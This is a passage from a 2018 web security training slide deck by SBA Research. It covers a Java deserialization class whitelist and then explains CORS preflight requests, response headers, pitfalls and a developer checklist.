    LookAheadObjectInputStream extends ObjectInputStream { public LookAheadObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } // Only deserialize instances of our expected class @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(SecureCodingGuru.class.getName())) { throw new InvalidClassException( "Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } }
  92. Overview: Cross-Origin Resource Sharing • W3C recommendation from January 16th

    2014 o https://www.w3.org/TR/cors/ • CORS allows cross-origin requests in a controlled way o Before HTML5: Forbidden by the Same Origin Policy (Alternative: JSONP) • The target domain only has to define the following HTTP header HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://example.sld.tld 2018 - SBA Research gGmbH
  93. What is a Cross-Origin HTTP Request? • A resource makes

    a cross-origin request, when it loads a resource from a domain which is different to the original domain o Happens usually with pictures, CSS, and scripts o Browser restrict HTTP requests, which are started within a script (XMLHttpRequest) – They are only allowed to send scripts to the same domain (Same-Origin Policy) 2018 - SBA Research gGmbH
  94. Procedure schema: Cross-Origin Requests 2018 - SBA Research gGmbH CORS

    by Mozilla Contributors is licensed under CC-BY-SA 2.5.
  95. CORS - Functionality • Specifies new HTTP header which allows

    servers to read AJAX responses from other domains • Implementation is within the browser o Extends the Same-Origin policy with exceptions • For HTTP requests, which can have side effects o The browser has to send so called “Preflight” requests • Preflight – request o Is a HTTP OPTIONS request o The server asks, if the wanted CORS request is allowed 2018 - SBA Research gGmbH
  96. Simple Requests • Are HTTP requests, which don’t trigger CORS

    preflight request in the browser • Have to fulfill the following requirements: o HTTP methode: GET or HEAD or POST – Why was POST allowed? It can cause side effects? – Because it was always possible (e.g. form with third-party domain as target and POST methode) o Doesn’t contain own HTTP headers o Content-Type: – application/x-www-form-urlencoded – multipart/form-data – text/plain 2018 - SBA Research gGmbH
  97. CORS – Simple Request (1/2) var invocation = new XMLHttpRequest();

    var url = 'http://bar.other/resources/public-data/'; function callOtherDomain() { if(invocation) { invocation.open('GET', url, true); invocation.onreadystatechange = handler; invocation.send(); } } 2018 - SBA Research gGmbH GET /resources/public-data/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (en-US; rv:1.9.1b3pre) Accept: text/html,application/xml;q=0.9,*/*;q=0.8 Referer: http://foo.example/examples/access- control/simpleXSInvocation.html Origin: http://foo.example JavaScript: HTTP response of the browser:
  98. CORS – Simple Request (2/2) HTTP/1.1 200 OK Date: Mon,

    01 Dec 2008 00:23:53 GMT Server: Apache/2.0.61 Access-Control-Allow-Origin: * Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/xml [XML Data] 2018 - SBA Research gGmbH HTTP response of the browser:
  99. CORS – Preflighted Request (1/4) • Why does the JavaScript

    code above trigger a Preflight request? o Own HTTP header ('X-PINGOTHER') is set o Content-Type "application/xml" var invocation = new XMLHttpRequest(); var url ='http://bar.other/resources/post-here/'; var body = <?xml version="1.0"?><person><name>Arun</name></person>'; function callOtherDomain(){ if(invocation) { invocation.open('POST', url, true); invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); invocation.setRequestHeader('Content-Type', 'application/xml'); invocation.onreadystatechange = handler; invocation.send(body); } } 2018 - SBA Research gGmbH JavaScript:
  100. CORS – Preflighted Request (2/4) 2018 - SBA Research gGmbH

    OPTIONS /resources/post-here/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 Accept: text/html,application/xml;q=0.9,*/*;q=0.8 Connection: keep-alive Origin: http://foo.example Access-Control-Request-Method: POST Access-Control-Request-Headers: X-PINGOTHER, Content-Type HTTP Preflight request of the browser: HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:39 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://foo.example Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-PINGOTHER, Content-Type Access-Control-Max-Age: 86400 Content-Length: 0 Content-Type: text/plain HTTP Preflight response of the server:
  101. CORS – Preflighted Request (3/4) 2018 - SBA Research gGmbH

    POST /resources/post-here/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 Accept: text/html, application/xml;q=0.9,*/*;q=0.8 Connection: keep-alive X-PINGOTHER: pingpong Content-Type: text/xml; charset=UTF-8 Referer: http://foo.example/examples/preflightInvocation.html Content-Length: 55 Origin: http://foo.example Pragma: no-cache Cache-Control: no-cache <?xml version="1.0"?><person><name>Arun</name></person> HTTP Preflight request of the browser: • The Access-Control-Request-* header isn’t set anymore
  102. CORS – Preflighted Request (4/4) 2018 - SBA Research gGmbH

    HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:40 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://foo.example Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 235 Keep-Alive: timeout=2, max=99 Connection: Keep-Alive Content-Type: text/plain [Some GZIP'd payload] HTTP Preflight response of the server: • Contains the Access-Control-Allow-Origin header
  103. Summary CORS HTTP request header • Are set by the

    browsers automatically • Origin: <origin> o Defines the origin of a Cross-Site requests or Preflight request o Similar to Referer header but doesn’t contain paths • Access-Control-Request-Method: <method> o Part of the Preflight request o Lets the server know which HTTP methode are used by the actual request • Access-Control-Request-Headers o Part of the Preflight request o Lets the server know which HTTP header are attached to the actual request 2018 - SBA Research gGmbH
  104. Summary CORS HTTP response header 1/2 • Must be set

    by the developer on the server-side • Access-Control-Allow-Origin: <origin> | * o Defines a URL, which is allowed to read the resource. The browser has to process this! o It’s possible in the header to allow one or all domains o Interconnection with caching: – Vary: Origin has to be set, when the wildcard host isn’t always used • Access-Control-Expose-Headers: X-My- Custom-Header, X-Another-Custom-Header o A whitelist of HTTP headers, which can be accessed via JavaScript • Access-Control-Max-Age: <delta-seconds> o Defines how long the result of a Preflight request is allowed to be saved 2018 - SBA Research gGmbH
  105. Summary CORS HTTP response header 2/2 • Access-Control-Allow-Credentials: true o

    Defines, if requests with credentials (Cookies or HTTP Basic Auth headers) are allowed • Access-Control-Allow-Methods: <method>[, <method>]* o Defines, which HTTP methods are allowed to access resources o Is sent as a response to Preflight requests • Access-Control-Allow-Headers: <field- name>[, <field-name>]* o Tells the browser, which HTTP header are allowed for accessing the resources o Is sent as a response to Preflight requests 2018 - SBA Research gGmbH
  106. Perils of CORS • Don’t use the Origin HTTP header

    for access control o Can’t be faked by an attacker outside the browser • Only web applications with a unique Origin can use CORS securely o Origin HTTP header consists of schema, hostname and port o e.g. a web application example.org/app-name/ can’t be differentiated from other web applications, which also run on example.org 2018 - SBA Research gGmbH
  107. CORS – Pay attention to … • CORS prevents (except

    for Preflight requests) not the request itself o Only the reading of the response o CSRF protection still needed • Only whitelisted domains in Access-Control- Allow-Origin 2018 - SBA Research gGmbH
  108. Quiz • CORS and Cross-Site-Request Forgery (CSRF): o Does CORS

    reduce the impact of CSRF vulnerabilities, or make CSRF attack harder? 2018 - SBA Research gGmbH
  109. Quiz • CORS and Cross-Site-Request Forgery (CSRF): o Does CORS

    reduce the impact of CSRF vulnerabilities, or make CSRF attack harder? • Answer: – I can’t start the attack anymore with AJAX, because no cookies (with session IDs) are attached. – It’s still possible via form and auto POST 2018 - SBA Research gGmbH
  110. Developer‘s Checklist CORS • Spend time understanding it before implementing

    it! • Especially for authenticated APIs o Whitelist origins! o Don‘t do Access-Control-Allow-Origin: * – It isn‘t technically allowed anyway – This is only for public, read-only APIs (like, e.g., Wikipedia) • Use max-age for caching the info (preflighted requests take time) 2018 - SBA Research gGmbH
  111. Thank you! Thomas Konrad SBA Research https://www.sba-research.org [email protected] Twitter: @_thomaskonrad

    (personal account) Want more? Web Application Security Training @ SBA Research (or in your office?) Visit https://www.sba-research.org/ 2018 - SBA Research gGmbH